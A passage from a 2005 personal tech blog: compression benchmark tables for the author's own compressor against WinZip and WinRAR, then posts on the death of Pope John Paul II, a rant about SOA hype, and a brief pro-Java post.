+ \pic @ 54368 : 513216 -> CR: [89.40641 %] - [0.8474872 bps]
+ \progc @ 13016 : 39611 -> CR: [67.14044 %] - [2.6287646 bps]
+ \progl @ 16279 : 71646 -> CR: [77.278564 %] - [1.8177149 bps]
+ \progp @ 11158 : 49379 -> CR: [77.40335 %] - [1.807732 bps]
+ \trans @ 18196 : 93695 -> CR: [80.57954 %] - [1.5536368 bps]
The Three Musketeers:
Tools Orig. Size (Bytes) Comp. Size(Bytes) Bps (Bits/Symbol)
WinZip 1,349,189 503,693(Best Compression) 2.986
WinRAR 1,349,189 416,342(Best Compression) 2.468
Mine(BAR) 1,349,189 371,442(default bsize of 1MB) 2.202
For a set of Bible files in RTF:
Tools Orig. Size (Bytes) Comp. Size(Bytes) Bps (Bits/Symbol)
WinZip 8,417,837 1,957,889(Best Compression) 1.8607
WinRAR 8,417,837 1,802,799(Best Compression) 1.7133
Mine(BAR) 8,417,837 1,606,802(default bsize of 1MB) 1.5270
For The Large Corpus:
Tools Orig. Size (Bytes) Comp. Size(Bytes) Bps (Bits/Symbol)
WinZip 11,159,482 3,331,499(Best Compression) 2.3882
WinRAR 11,159,482 2,837,133(Best Compression) 2.0338
Mine(BAR) 11,159,482 2,602,030(default bsize of 1MB) 1.8653
( Apr 04 2005, 10:01:33 PM PDT ) Permalink Comments [1]
Sunday April 03, 2005 Death of a Pope
Pope John Paul II's papacy is third longest in the 2000 years of christianity. It is a great loss to the catholic community in particular and humanity in general. The people's pope was the source of strength for many clergies and spiritual leaders. The hope of millions that the dogma will be observed goes down with the pope. No pope will be good enough to oppose the sacred college of cardianls and stick to reforms. With the conspiracy already springing up as to the secret sistel meetups, let the good God be kind enough to give us a good spiritual leader.
The weekend was hectic. With my new Victor GX machine, I was trying my driving skills on the busy road of Bangalore. Now you know where the Phantom is. BTW isn't this cool?
( Apr 03 2005, 11:30:40 PM PDT ) Permalink Comments [0]
Monday March 21, 2005 'A' in SOA
Aargh!!! Thatz right. Leave me alone. Phantom is mugged with SOAism. SOA this and SOA that. SOA my skull. Heck. Whatz wrong with you people. Service Oriented Architecture considered the redeemer for heterogeneous applications is just a marketing corpse. SOA was always there from the time of Jini. Just that Jini could not talk with Non-Java applications. Thatz the idea of Jini Surrogate. What is the desperate need for enterprise adopting SOA. I'm not against it. It just makes sense. But this term is beaten to death and I scorn at any mention.For what I know, more than a decade, numerous platform vendors have made vain attempts to implement SOAs using RPCs and enterprise message buses. Although many enterprises have implemented those technologies as part of tactical integration projects, the solutions proved expensive to implement on a large scale, hard to maintain, and relatively limited in scope. Like this one SOA instance in the form of Sonic ESB, which uses XML message transport over their MQ bus. I somehow don't relish this idea of sending XML documents all over the pipe there and choke each other unless you got a bigger pipe like what phantom boasts. I still like RPC. Don't ask me Why.
Where will SOAism take us. Phantom has an answer.
SOA is not a technology. It is a technology independent integration pattern. SOA is not owned by a single company neither is Web Service. What I would like to see of SOA is more collaboration work to happen with companies opening up for seamless integration with partners, business houses, traders and customers. This will result in information mining and fail-safe connectivity enabling business at the speed of thought. Oops I'm sorry. Someone already said that. Thinking otherwise apart from the personal hatred for that term, I feel SOAism should stay. Give a rat's tail about me. Just go ahead and SOA enable your IT infrastructure. Connect everything and Consume everything.
SOA is just the beginning.
( Mar 21 2005, 11:34:35 PM PST ) Permalink Comments [0]
Wednesday March 16, 2005 It's Coming...
Java rocks. And I will tell you how in my next posts. Meanwhile you can just see the Java cult ring.
Duke loves this. It gives you power to discern. Power to preach Java. Join the cult of the half skull. We gonna rock this world. ( Mar 16 2005, 10:44:03 PM PST ) Permalink Comments [0]